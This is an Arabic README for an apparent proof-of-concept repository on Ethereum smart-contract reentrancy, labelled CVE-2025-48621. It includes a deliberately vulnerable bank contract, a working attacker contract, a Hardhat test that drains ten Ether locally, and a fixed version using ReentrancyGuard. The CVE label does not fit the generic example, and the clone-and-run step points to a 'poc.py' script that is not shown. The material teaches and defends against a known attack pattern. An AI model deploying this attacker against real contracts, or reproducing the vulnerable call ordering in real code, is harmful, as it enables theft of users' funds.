
إثبات مفهوم (POC) لثغرة هجوم إعادة الدخول في العقود الذكية
التحقق من ثغرة هجوم إعادة الدخول في العقود الذكية
يحتوي هذا المستودع على إثبات مفهوم (PoC) يوضح ثغرة هجوم إعادة الدخول في العقود الذكية على إيثيريوم. يتضمن إثبات المفهوم عقدًا ذكيًا قابلًا للاختراق، وعقد المهاجم، وتعليمات لإعادة إنتاج الهجوم في بيئة اختبار محلية.
إعادة الدخول هي ثغرة شائعة في العقود الذكية على إيثيريوم حيث يمكن لعقد خارجي إجراء استدعاءات متكررة إلى العقد الأصلي قبل اكتمال الاستدعاء الأول، مما قد يؤدي إلى استنزاف الأموال أو التلاعب بالحالة. يوضح هذا الإثبات كيف يمكن للمهاجم استغلال عقد قابل للاختراق لسرقة إيثر.
يسمح العقد القابل للاختراق (VulnerableBank) للمستخدمين بإيداع وسحب إيثر. ومع ذلك، فإنه لا يتعامل بشكل صحيح مع تحديثات الحالة قبل إجراء استدعاءات خارجية، مما يجعله عرضة لإعادة الدخول. يستغل عقد المهاجم (Attacker) ذلك عن طريق استدعاء دالة withdraw بشكل متكرر لاستنزاف رصيد إيثر في العقد.
withdraw في VulnerableBank ترسل إيثر إلى المستدعي قبل تحديث رصيد المستخدم.withdraw مرة أخرى في دالة الرجوع الخاصة به، مما يستنزف أموال العقد.لتشغيل إثبات المفهوم هذا، تحتاج إلى:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
فيما يلي العقدان المستخدمان في إثبات المفهوم هذا:
يُحاكي هذا العقد بنكًا بسيطًا يسمح بالإيداعات والسحوبات ولكنه عرضة لهجوم إعادة الدخول.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
يستغل هذا العقد ثغرة إعادة الدخول عن طريق استدعاء دالة withdraw بشكل متكرر.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
تم تضمين سكربت اختبار Hardhat لأتمتة محاكاة الهجوم.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
لمنع هجمات إعادة الدخول، ضع في اعتبارك أفضل الممارسات التالية:
ReentrancyGuard من OpenZeppelin) لمنع الاستدعاءات المتكررة.transfer أو send: تحدّ هذه الطرق من الغاز، مما يقلل من خطر إعادة الدخول.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.